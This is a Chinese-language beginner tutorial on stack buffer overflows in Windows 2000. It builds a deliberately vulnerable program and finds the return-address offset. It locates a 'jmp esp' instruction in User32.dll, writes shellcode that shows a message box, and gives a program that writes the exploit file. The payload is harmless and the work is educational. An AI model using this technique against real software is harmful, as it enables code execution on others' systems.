Windows 2000缓冲区溢出入门
前言
我在互聯(lián)網(wǎng)上閱讀過許多關(guān)于緩沖區(qū)溢出的文章。其中的絕大多數(shù)都是基于*NIX操作系統(tǒng)平臺的。后來有幸拜讀了ipxodi所著的《Windows系統(tǒng)下的堆棧溢出》(已刊登在綠盟網(wǎng)絡(luò)安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow's From Start to Finish》,得益匪淺。在翻譯Jason先生的文章時,由于我的機器安裝了Windows 2000 Server,在調(diào)試原文程序時發(fā)現(xiàn)細節(jié)略有出入。因此本文提供的有關(guān)源程序、動態(tài)鏈接庫、偏移量等是以我在自己機器上調(diào)試為準(zhǔn)。(對不同版本的動態(tài)鏈接庫,都需要編程者自己調(diào)試。)
這篇文章應(yīng)該屬入門級。雖然比較簡單,但對于Windows系統(tǒng)下的緩沖區(qū)溢出具有一定的通用性。例如,堆棧溢出地址的確定,跳轉(zhuǎn)指令的查找和使用,溢出執(zhí)行代碼的編寫,等等。只要發(fā)現(xiàn)Windows系統(tǒng)下存在緩沖區(qū)溢出漏洞的程序,基本上都可通過這些步驟進行攻擊測試。但正如ipxodi所指出的,由于Windows下動態(tài)鏈接庫的版本更新較快,一定要根據(jù)編程者的實際平臺進行調(diào)試。在發(fā)布此類安全漏洞公告或溢出攻擊程序時,源代碼、系統(tǒng)平臺和動態(tài)鏈接庫的版本號都應(yīng)該盡量列清楚。否則別人調(diào)試起來可能會頭疼得很厲害。;)
調(diào)試、測試環(huán)境
Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server (中文版,內(nèi)部版本號:2195)
調(diào)試、測試過程
首先,寫一個存在緩沖區(qū)溢出漏洞的應(yīng)用程序。該程序可讀取文件的內(nèi)容,這樣我們就能通過修改被讀取文件的內(nèi)容來使程序溢出。;-) 在Visual C++開發(fā)環(huán)境中創(chuàng)建一個新的控制臺應(yīng)用程序,選擇”An Application that supports MFC”并單擊”Finish”。(注:其實并不一定非是MFC應(yīng)用程序不可,只不過是我自己的習(xí)慣而已。;-)))向這個應(yīng)用程序中添加一些必要的代碼,如下:
CWinApp theApp;
using namespace std;
void overflow(char* buff);
void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}
int x = file.GetLength();
file.Read(buff,x);
}
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buff[10];
overflow(buff);
}
return nRetCode;
}
現(xiàn)在先來分析一下上面這段C++代碼,找一找哪里有漏洞。這是一個MFC控制臺應(yīng)用程序,”main”函數(shù)與其它程序會有些不同,但工作機制基本一致。我們主要分析該函數(shù)中”else”那段代碼。首先是第一行”char buff[10]”,定義了一個10字符長的本地變量。我們都知道,本地變量的內(nèi)存空間是在堆棧里分配的。(如果你連這個都不知道,建議不要繼續(xù)往下看了。:))然后是將buff變量作為參數(shù)調(diào)用overflow函數(shù)。好了,現(xiàn)在讓我們分析overflow函數(shù)。首先是一個Cfile對象,然后是一個CfileException對象。接下來會試圖以讀權(quán)限打開當(dāng)前目錄下的文件”overflow.txt”。如果打開成功,則將該文件中的所有內(nèi)容讀取到buff數(shù)組變量中。發(fā)現(xiàn)了問題沒有?buff變量只有10字符長。如果讀取的文件內(nèi)容長度是100時會發(fā)生什么問題呢?對了,“緩沖區(qū)溢出”!而且是在堆棧中發(fā)生的緩沖區(qū)溢出。在后面的測試中就能看到,我們利用這個漏洞能做些什么!;)現(xiàn)在讓我們創(chuàng)建文本文件”overflow.txt”,并將它放到這個應(yīng)用程序的project目錄下。
在進行下一步前,先讓我們探討一下關(guān)于Windows NT/2000的內(nèi)存結(jié)構(gòu)。NT/2000的每一個進程都在啟動時分配了4GB(0xFFFFFFFF)的虛擬內(nèi)存。其中的某些部份實際上是由所有進程共享的,例如核心和設(shè)備驅(qū)動程序區(qū)域。但它們都會被映射到每個進程的虛擬地址空間里。實際上沒有進程分配到4GB的物理內(nèi)存,而是僅當(dāng)需要時才分配物理內(nèi)存。因此每一個進程都有各自的4GB虛擬內(nèi)存,編址范圍從0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是為NULL指針分配而保留的。訪問該區(qū)域內(nèi)存將導(dǎo)致“非法訪問”錯誤。0x00010000-0x7FFEFFFF是用戶進程空間。EXE文件的映像被加載到其中(起始地址0x00400000),DLL(動態(tài)鏈接庫)也被加載到這部份空間。如果DLL或EXE的代碼被裝入到該范圍的某些地址,就能夠被執(zhí)行。訪問該區(qū)域中沒有代碼裝入的地址將導(dǎo)致“非法訪問”錯誤。0x7FFF0000-0x7FFFFFFF是保留區(qū)域,對此區(qū)域的任何訪問都將導(dǎo)致“非法訪問”錯誤。0x80000000-0xFFFFFFFF僅供操作系統(tǒng)使用。用于加載設(shè)備驅(qū)動程序和其它核心級代碼。從用戶級應(yīng)用程序(ring 3)訪問此區(qū)域?qū)?dǎo)致“非法訪問”錯誤。
現(xiàn)在回到”overflow.txt”文件。現(xiàn)在我們將向這個文本文件中不斷添加字符,直到彈出應(yīng)用程序非法訪問的系統(tǒng)對話框。在這里,填充什么字符是很重要的(原因待會就知道了)。我選擇小寫字母”a”來填充文本文件。我們已經(jīng)知道緩沖區(qū)只有10字符長,那么先填充11個字符。(注意:以debug方式編譯應(yīng)用程序,否則結(jié)果可能會有所不同。)咦?沒反應(yīng)。我們繼續(xù)填充字符……直到填充了18個字符應(yīng)用程序才崩潰。但這個崩潰對我們的用處還不大。繼續(xù)填充!當(dāng)字符串長度為24時,運行程序并觀察彈出的對話框信息:“”0x61616161”指令引用的”0x61616161”內(nèi)存。該內(nèi)存不能為”written”。”我想大家都應(yīng)該知道”0x61”所代表的ASCII碼是什么吧?;)如果你的機器安裝了Visual C++,單擊“取消”按鈕就能夠調(diào)試該應(yīng)用程序。進入調(diào)試環(huán)境后,選擇”view”菜單――”debug windows”――”registers”,可打開寄存器窗口。如果你對匯編一竅不通,建議先去找本匯編的書看看。在寄存器窗口里會看到EAX、EBS和EIP等寄存器的內(nèi)容。EIP當(dāng)然是最重要的了。EIP的內(nèi)容就是程序下一步所要執(zhí)行指令的地址。我們注意到ESP寄存器的值未被破壞,而且似乎離我們的buff變量不遠。下一步我們需要找出ESP的值是從如何處理得到的。
現(xiàn)在開始會復(fù)雜些了(而這就是樂趣的源泉!:))。 在main函數(shù)的最后一行代碼處設(shè)置斷點,因為我們只關(guān)心這里所發(fā)生的事情。現(xiàn)在啟動調(diào)試器,并讓程序無故障運行到該斷點。然后切換到反匯編窗口(按Alt+8,或單擊”View”――”debug windows”――”disassembly”)。另外還要打開內(nèi)存窗口和寄存器窗口。
0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret
以上這些東西是什么?匯編代碼。如果你對匯編一點都不懂,我在這里做一些簡單的說明。第一行是”pop edi”。指令pop用于將僅次于堆棧頂端的數(shù)據(jù)移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆棧指針。一個pop指令移動堆棧頂端的一個數(shù)據(jù)單元,在這里是DWORD(雙字,4字節(jié)),到指定寄存器中,并將堆棧指針加4(因為共移動了4字節(jié))。在執(zhí)行下一步前,讓我們看一下ESP寄存器。在內(nèi)存窗口中輸入ESP,就能得到ESP當(dāng)前指向的地址和內(nèi)容。看一下ESP指向的內(nèi)存地址中4個字節(jié)的內(nèi)容和EDI寄存器的內(nèi)容。現(xiàn)在單步執(zhí)行”pop.edi”,我們能夠看到EDI寄存器中填入了ESP所指向的內(nèi)存地址的數(shù)值,同時ESP的數(shù)值也增加了4。后面的兩條指令是一樣的,只不過寄存器不同罷了。單步執(zhí)行它們。跟著的三行指令對本文沒什么意義,所以在這里不作解釋。單步執(zhí)行到指令”mov esp, ebp”,該指令會將EBP的值賦給ESP寄存器。然后是指令”pop ebp”,這條指令很重要。先讓我們在內(nèi)存窗口輸入ESP,可以看到該內(nèi)存地址有一串”0x61”('a'的16進制值)。因此0x61616161將被彈出到EBP寄存器中。單步執(zhí)行該指令可以檢驗我說的沒錯吧?;)好了,雖然我說的沒錯,但好象我們還沒能得到什么有用的東西?現(xiàn)在到了最后一條指令”ret”。指令”ret”在匯編中是返回指令。它是如何知道應(yīng)該返回到哪里的呢?由當(dāng)前位于堆棧頂端的數(shù)值決定。這條指令如果用pop指令表示的話可以表示為”pop eip”(雖然實際上你無法執(zhí)行這條pop指令;))。它從ESP所指向內(nèi)存地址處彈出4字節(jié)內(nèi)容,并賦給EIP寄存器(EIP寄存器是32位指令指針)。這就意味著,不管EIP指向哪個內(nèi)存地址,該地址處的指令將總會成為下一條指令。我們再次在內(nèi)存窗口中輸入ESP,看一下將要賦給EIP寄存器的地址的指令是什么。其實我想此時大家都應(yīng)該知道是4個字節(jié)長的0x61串。現(xiàn)在讓我們單步執(zhí)行該指令,看到EIP的值為0x61616161,也就是說下一指令地址為0x61616161,但指令卻顯示為???(意為無效指令)。因此再單步執(zhí)行指令將導(dǎo)致“訪問非法”錯誤。現(xiàn)在再看看ESP寄存器。它正確地指向了堆棧中的下一個數(shù)值。也就是說,下一步工作是確定在使緩沖區(qū)成功溢出(EIP=0x61616161)時,ESP所指向的地址是否能夠存放我們的溢出代碼!我們在overflow.txt文件中再次增加4個'a'(共28個'a'),并再次調(diào)試程序,在執(zhí)行到”ret”指令時觀察內(nèi)存窗口和寄存器窗口,會發(fā)現(xiàn)執(zhí)行”ret”指令后ESP所指向內(nèi)存地址的內(nèi)容為4字節(jié)長的0x61串。Great!這意味著什么?!這個讓大家自己想去吧。;)))
現(xiàn)在我再回過頭來分析一下。我們剛才使用字符'a'(0x61)作為文本文件的填充內(nèi)容,以確定存在緩沖區(qū)溢出。由于EIP=0x61616161,當(dāng)我們的程序訪問試圖訪問該地址處的指令時,會因為是無效指令而導(dǎo)致系統(tǒng)出錯。但如果所指向的地址存在可執(zhí)行代碼時又如何呢?例如裝入內(nèi)存的DLL代碼等。哈哈,這樣的話就會執(zhí)行這些指令,從而可能做一些別人想像不到的事!;)
好了,到目前為止,我們已經(jīng)能控制EIP的數(shù)值,也知道ESP指向的堆棧位置,和能夠向堆棧寫入任意數(shù)據(jù)。那么下一步做什么呢?當(dāng)然是找到使系統(tǒng)執(zhí)行我們的溢出代碼的方法了。如果你看過ipxodi所著的文章《Windows系統(tǒng)下的堆棧溢出》,就會知道采用跳轉(zhuǎn)指令(jmp esp)是最好不過的了。原因在這里就不再多講,請大家仔細閱讀《Windows系統(tǒng)下的堆棧溢出》就清楚了。正如前面分析過的,這是因為執(zhí)行完ret指令后ESP正好能夠指向我們的溢出代碼!(……哦,找不到,我沒分析過?在本文中查找單詞”Great”吧,呵呵。)現(xiàn)在我們就要在應(yīng)用程序的內(nèi)存空間中找到含有”jmp esp”指令的地址。首先當(dāng)然是確定這條指令的機器碼了。怎么確定?這也要教?好吧,教就教吧。僅此一次,下不違例。;)其實方法很簡單,按以下步驟就可以了。先在Visual C++中創(chuàng)建新的應(yīng)用程序。(當(dāng)然還是控制臺程序,還是支持MFC,這是我的習(xí)慣。呵呵。)輸入以下代碼:
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}
下一步是如何在我們的進程空間里找到這串機器碼。也是非常簡單的,只要修改一下代碼即可:
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp
#else
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}
也許你會奇怪,為什么不用Kernel32.dll呢?它不是更通用嗎?我剛開始時也是在動態(tài)鏈接庫Kernel32的進程空間尋找”FF E4”,但居然一處也找不到!(而在Windows NT 4中找到能至少6處!:(()后來我嘗試在User32.dll中尋找,終于找到了一處。運行后程序輸出:
OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED
注意,不同的動態(tài)鏈接庫和版本,得到的結(jié)果可能會不一樣。我的動態(tài)鏈接庫User32.dll版本為5.00.2180.1。現(xiàn)在用16進制文件編輯器(如Ultra Edit)打開overflow.txt文本文件,在第21字符位置開始輸入2A E3 E2 77。(為什么要在第21字符位置?為什么要輸入2A E3 E2 77?我不想解釋了,如果你連這都看不懂,建議你不要再研究緩沖區(qū)溢出了!)我們先保留后面的四個'a'字符。使用調(diào)試器運行程序,執(zhí)行到”ret”命令處停下來,看看下一條指令是否為”jmp esp”,而且執(zhí)行”jmp esp”前esp的內(nèi)容是否為0x61616161。如果一切正確,OK, so far so good. ;)讓我們來進行更刺激的事情――編寫緩沖區(qū)溢出后的執(zhí)行代碼。
首先,你必須確保所有需要的動態(tài)鏈接庫都被加載到進程空間中。一種方法是利用該程序本身調(diào)用的動態(tài)鏈接庫;另一種方法是在溢出代碼中加載該動態(tài)鏈接庫。(在ipxodi的《Windows系統(tǒng)下的堆棧溢出》中有詳細介紹。)在這里我采用第一種方法。為什么?因為簡單嘛。;)
呵呵,為了編程簡單,同時本文的主要目的是教學(xué),重點在于原理,所以代碼執(zhí)行時僅是彈出一個消息框。如果想編寫更具攻擊性或更復(fù)雜的執(zhí)行代碼,可參閱ipxodi所著的《Windows系統(tǒng)下的堆棧溢出》和綠色兵團整理的《高級緩沖區(qū)溢出》。不過,后果自負!
首先我們要找到如何在代碼中調(diào)用MessageBox函數(shù)。根據(jù)Windows API文檔,MessageBox依賴于user32.lib,也就是說它位于user32.dll動態(tài)鏈接庫中。啟動depends工具,打開將要被溢出的應(yīng)用程序,可以發(fā)現(xiàn)它將加載user32.dll。然后尋找MessageBox函數(shù)的內(nèi)存位置。在我機器的user32.dll中,MessageBoxA(ASCII版本)函數(shù)的偏移量(Entry Point)為0x00033D68。User32.dll在內(nèi)存中的起始地址為0x77DF0000。將兩者相加即可得到MessageBox函數(shù)的絕對內(nèi)存地址為0x77E23D68。所以我們需要在匯編代碼中正確設(shè)置堆棧并調(diào)用0x77E23D68。根據(jù)對Steve Fewer的winamp緩沖區(qū)溢出代碼學(xué)習(xí)和研究,我寫出來的匯編代碼如下:
push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp
以上匯編代碼將調(diào)用位于0x77E23D68的MessageBox函數(shù),使其彈出標(biāo)題為”Success”、消息內(nèi)容為”We Got It!”的消息框。必須要注意的是,我們不能使用0(NULL)作為字符串中的字符,解決方法請參考ipxodi所著的《Windows系統(tǒng)下的堆棧溢出》和綠色兵團整理的《高級緩沖區(qū)溢出》。現(xiàn)在,我們要得到這些匯編代碼的機器碼。方法前面已經(jīng)介紹過了,不再重復(fù)。最后整理得到的機器碼為:
/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45
/xee/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d
/xf3/xc6/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8
/x6f/xc6/x45/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd
/x21/x88/x4d/xfe/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x68/x3d
/xe2/x77/xff/x55/xe8/x8b/xe5/x59/x5d
如果現(xiàn)在將這輸入到overflow.txt文件中,將能夠成功溢出,并彈出我們定制的消息框。但當(dāng)單擊”確定”按鈕后,應(yīng)用程序?qū)⒈罎ⅰR苊獬霈F(xiàn)這種情況,我們需要調(diào)用exit函數(shù)以正常關(guān)閉程序。查閱Windows API文檔可知,需要導(dǎo)入msvcrt.lib,因此肯定在msvcrt.dll動態(tài)鏈接庫中。使用depends工具會發(fā)現(xiàn)應(yīng)用程序加載了msvcrtd.dll而不是msvcrt.dll,這是因為我們應(yīng)用程序現(xiàn)在使用的是調(diào)試版本。但兩者沒太多區(qū)別。Msvcrtd.dll在內(nèi)存中的起始地址為0x10200000,exit函數(shù)的偏移量(Entry Point)為0x0000AF90,則exit函數(shù)的絕對地址為0x1020AF90。故匯編代碼為:
push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp
以上代碼以0為參數(shù)調(diào)用exit函數(shù),使應(yīng)用程序以代碼0退出運行。整理后得到的機器碼如下:
/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/x90/xaf/x20/
x10/xff/x55/xfc/x8b/xe5/x59/x5d
現(xiàn)在將上面兩串機器碼輸入到overflow.txt文件中(以第25個字節(jié)為起始位置。這次不用問為什么了吧?!如果還不懂,復(fù)習(xí)一下前面的內(nèi)容!)
如果你嫌麻煩,可以使用以下程序(怎么樣,夠朋友了吧?;)):
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "/x2a/xe3/xe2/x77";
char sploit[] = "/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45/xee"
"/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d/xf3/xc6"
"/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8/x6f/xc6/x45"
"/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd/x21/x88/x4d/xfe"
"/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x68/x3d/xe2/x77/xff/x55/xe8/x8b"
"/xe5/x59/x5d/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/x90/xaf/x20/x10/xff"
"/x55/xfc/x8b/xe5/x59/x5d";
for(int x=0;x<20;x++)
{
buffer[x] = 0x90;
}
CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);
file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));
file.Close();
}
return nRetCode;
}
在確保所有文件的內(nèi)容和位置都準(zhǔn)確無誤后,運行被溢出程序…………哈哈,我們的消息框彈出來了!!!單擊”確定”按鈕,程序正常關(guān)閉!!!
后記
最近訪問國外的安全站點、黑客站點,發(fā)現(xiàn)國外越來越多地關(guān)注Windows系統(tǒng)的安全,研究Windows系統(tǒng)漏洞的也越來越多,包括L0pht、Cerberus等。特別是在一些黑客性質(zhì)很重的站點,針對Windows 9x/NT/2k的攻擊程序一堆堆的。真的有點不敢想像,如果Micro$oft公開所有Windows的源代碼,會有多少安全漏洞被發(fā)現(xiàn)。而我想,根據(jù)國內(nèi)使用Windows平臺的普遍性,問題將會更加嚴(yán)重。因此我覺得國內(nèi)對Windows的安全性研究應(yīng)該抓得更緊些!雖然實際情況令人沮喪……:(
這篇文章本來不打算整理的,因為我自己也是剛開始研究Windows系統(tǒng)下的緩沖區(qū)溢出,掌握的東西不多,擔(dān)心被Windows高手取笑。后來倒是自己想通了:只有“班門弄斧”,才能知道自己的不足,才能更快地取得進步。希望眾Windows高手、黑客高手多多指教。象我們綠色兵團里的ipxodi、袁哥、zer9等,都是Windows平臺下的安全專家,如果本文能起到“拋磚引玉”的作用,我便很滿足了。:)
總結(jié)
以上是生活随笔為你收集整理的Windows 2000缓冲区溢出入门的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 问一个AddDevice和设备符号链的问
- 下一篇: Go进阶(7): JSON 序列化和反序